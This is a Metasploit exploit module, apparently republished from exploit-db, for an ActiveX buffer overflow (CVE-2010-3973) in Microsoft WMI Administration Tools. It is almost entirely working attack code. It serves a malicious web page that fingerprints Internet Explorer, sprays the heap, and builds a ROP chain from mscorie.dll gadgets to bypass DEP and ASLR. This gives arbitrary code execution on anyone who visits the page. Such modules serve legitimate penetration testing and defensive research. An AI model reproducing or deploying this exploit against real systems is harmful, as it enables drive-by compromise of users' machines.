Microsoft WMI Administration Tools – ActiveX Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2011-01-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16516/
  • ##
    # $Id: wmi_admintools.rb 11579 2011-01-14 16:25:37Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    	include Msf::Exploit::Remote::BrowserAutopwn
    
    	autopwn_info({
    		:os_name=> OperatingSystems::WINDOWS,
    		:rank => NormalRanking,
    		:vuln_test=> nil,
    	})
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Microsoft WMI Administration Tools ActiveX Buffer Overflow',
    			'Description'=> %q{
    					This module exploits a memory trust issue in the Microsoft WMI
    				Administration tools ActiveX control. When processing a specially crafted
    				HTML page, the WEBSingleView.ocx ActiveX Control (1.50.1131.0) will treat
    				the 'lCtxHandle' parameter to the 'AddContextRef' and 'ReleaseContext' methods
    				as a trusted pointer. It makes an indirect call via this pointer which leads
    				to arbitrary code execution.
    
    				This exploit utilizes a combination of heap spraying and the
    				.NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not
    				opt-in to ASLR. As such, this module should be reliable on all Windows
    				versions.
    
    				The WMI Adminsitrative Tools are a standalone download & install (linked in the
    				references).
    
    			},
    			'License'=> MSF_LICENSE,
    			'Author' => [ 'WooYun', 'MC', 'jduck' ],
    			'Version'=> '$Revision: 11579 $',
    			'References' =>
    				[
    					[ 'OSVDB', '69942'],
    					[ 'CVE', '2010-3973' ],
    					[ 'BID', '45546' ],
    					[ 'URL', 'http://wooyun.org/bug.php?action=view&id=1006' ],
    					[ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ],# .NET 2.0 ROP (slide 25)
    					[ 'URL', 'http://secunia.com/advisories/42693' ],
    					[ 'URL', 'http://www.microsoft.com/downloads/en/details.aspx?FamilyID=6430f853-1120-48db-8cc5-f2abdc3ed314' ]
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    					'InitialAutoRunScript' => 'migrate -f',
    				},
    			'Payload'=>
    				{
    					'Space' => 512,
    					'BadChars'=> "\x00",
    					'DisableNops' => true
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Automatic', { } ],
    					[ 'Windows Universal',{ 'SprayTarget' => 0x105ae020 } ],
    					[ 'Debug Target (Crash)', { 'SprayTarget' => 0x70707070 } ] # must be < 0x80000000
    				],
    			'DisclosureDate' => 'Dec 21 2010',
    			'DefaultTarget'=> 0))
    	end
    
    	def autofilter
    		false
    	end
    
    	def check_dependencies
    		use_zlib
    	end
    
    	def auto_target(cli, request)
    		mytarget = nil
    
    		agent = request.headers['User-Agent']
    		#print_status("Checking user agent: #{agent}")
    		if agent =~ /MSIE 6\.0/ or agent =~ /MSIE 7\.0/ or agent =~ /MSIE 8\.0/
    			mytarget = targets[1]
    		else
    			print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
    		end
    		mytarget
    	end
    
    	def on_request_uri(cli, request)
    
    		mytarget = target
    		if target.name == 'Automatic'
    			mytarget = auto_target(cli, request)
    			if (not mytarget)
    				send_not_found(cli)
    				return
    			end
    		end
    
    		if request.uri == get_resource() or request.uri =~ /\/$/
    			print_status("Sending #{self.refname} redirect to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
    
    			redir = get_resource()
    			redir << '/' if redir[-1,1] != '/'
    			redir << rand_text_alphanumeric(4+rand(4))
    			redir << '.html'
    			send_redirect(cli, redir)
    
    		elsif request.uri =~ /\.html?$/
    			# Re-generate the payload
    			return if ((p = regenerate_payload(cli)) == nil)
    
    			print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
    
    			# Generate the ROP payload
    			buf_addr = mytarget['SprayTarget']
    			rvas = rvas_mscorie_v2()
    			rop_stack = generate_rop(buf_addr, rvas)
    
    			fix_esp = rva2addr(rvas, 'pop ebp / ret')
    			pivot1= rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8')
    			pivot2= rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret')
    
    			pivot_str = Rex::Text.to_unescape([pivot1].pack('V'))
    
    			special_sauce = [
    				buf_addr + 0x10,
    				pivot2, # becomes eip via trusted ptr
    				fix_esp,
    				0xdeadbeef,
    				pivot1, # used by AddContextRef
    				pivot1# used by ReleaseContext
    			].pack('V*')
    
    			# Append the payload to the rop_stack
    			rop_stack << p.encoded
    
    			# Add in the rest of the ROP stack
    			special_sauce << rop_stack
    
    			special_sauce = Rex::Text.to_unescape(special_sauce)
    			shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    			nops= Rex::Text.to_unescape(make_nops(4))
    			js_function= rand_text_alpha(rand(32)+1)
    			vname= rand_text_alpha(rand(32) + 1)
    
    			clsid = "2745E5F5-D234-11D0-847A-00C04FD7BB08"
    			progid = "WBEM.SingleViewCtrl.1"
    
    			method_names = [
    				"AddContextRef",
    				"ReleaseContext"
    			]
    
    			method_name = method_names[rand(method_names.length)]
    
    			# Construct the heap spray javascript
    			custom_js = <<-EOS
    function #{js_function}() {
    heap = new heapLib.ie(0x20000);
    var heapspray = unescape("#{special_sauce}");
    while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
    var heapblock = heapspray;
    while(heapblock.length < 0x40000) heapblock += heapblock;
    finalspray = heapblock.substring(2, 0x40000 - 0x21);
    for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
    #{vname}.#{method_name}(#{"0x%x" % buf_addr});
    }
    EOS
    			js = heaplib(custom_js)
    
    			dll_uri = get_resource()
    			dll_uri << '/' if dll_uri[-1,1] != '/'
    			dll_uri << "generic-" + Time.now.to_i.to_s + ".dll"
    
    			# Construct the final page
    			content = <<-EOS
    <html>
    <head>
    <script language='javascript'>
    #{js}
    </script>
    </head>
    <body onload='#{js_function}()'>
    <object classid="#{dll_uri}#GenericControl" />
    <object classid="clsid:#{clsid}" id="#{vname}"></object>
    </body>
    </html>
    EOS
    
    			# Transmit the response to the client
    			send_response_html(cli, content)
    
    		elsif request.uri =~ /\.dll$/
    			print_status("Sending #{self.refname} DLL to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
    
    			# Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually
    			# use it's contents ...
    			ibase = (0x2000 | rand(0x8000)) << 16
    			dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))
    
    			# Send a .NET v2.0 DLL down
    			send_response(cli, dll,
    				{
    					'Content-Type' => 'application/x-msdownload',
    					'Connection' => 'close',
    					'Pragma' => 'no-cache'
    				})
    		end
    
    		# Handle the payload
    		handler(cli)
    	end
    
    	def rvas_mscorie_v2()
    		# mscorie.dll version v2.0.50727.3053
    		# Just return this hash
    		{
    			'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e,
    			'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b,
    			'pop ebp / ret'=> 0x5557,
    			'call [ecx] / pop ebp / ret 0xc' => 0x1ec4,
    			'pop eax / ret'=> 0x5ba1,
    			'pop ebx / ret'=> 0x54c0,
    			'pop ecx / ret'=> 0x1e13,
    			'pop esi / ret'=> 0x1d9a,
    			'pop edi / ret'=> 0x2212,
    			'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6,
    			'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154,
    		}
    	end
    
    	def generate_rop(buf_addr, rvas)
    		# ROP fun! (XP SP3 English, Dec 15 2010)
    		rvas.merge!({
    			# Instructions / Name=> RVA
    			'BaseAddress'=> 0x63f00000,
    			'imp_VirtualAlloc' => 0x10f4
    		})
    
    		rop_stack = [
    			# Allocate an RWX memory segment
    			'pop ecx / ret',
    			'imp_VirtualAlloc',
    
    			'call [ecx] / pop ebp / ret 0xc',
    			0, # lpAddress
    			0x1000,# dwSize
    			0x3000,# flAllocationType
    			0x40,# flProt
    			:unused,
    
    			# Copy the original payload
    			'pop ecx / ret',
    			:unused,
    			:unused,
    			:unused,
    			:memcpy_dst,
    
    			'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',
    			:unused,
    
    			'pop esi / ret',
    			:unused,
    			:unused,
    			:unused,
    			:memcpy_src,
    
    			'pop edi / ret',
    			0xdeadf00d # to be filled in above
    		]
    		(0x200 / 4).times {
    			rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'
    		}
    		# Execute the payload ;)
    		rop_stack << 'call [ecx] / pop ebp / ret 0xc'
    
    		rop_stack.map! { |e|
    			if e.kind_of? String
    				# Meta-replace (RVA)
    				raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
    				rvas['BaseAddress'] + rvas[e]
    
    			elsif e == :unused
    				# Randomize
    				rand_text(4).unpack('V').first
    
    			elsif e == :memcpy_src
    				# Based on stack length..
    				buf_addr + 0x18 + (rop_stack.length * 4)
    
    			elsif e == :memcpy_dst
    				# Store our new memory ptr into our buffer for later popping :)
    				buf_addr + 0x18 + (21 * 4)
    
    			else
    				# Literal
    				e
    			end
    		}
    
    		rop_stack.pack('V*')
    	end
    
    	def rva2addr(rvas, key)
    		raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
    		rvas['BaseAddress'] + rvas[key]
    	end
    
    end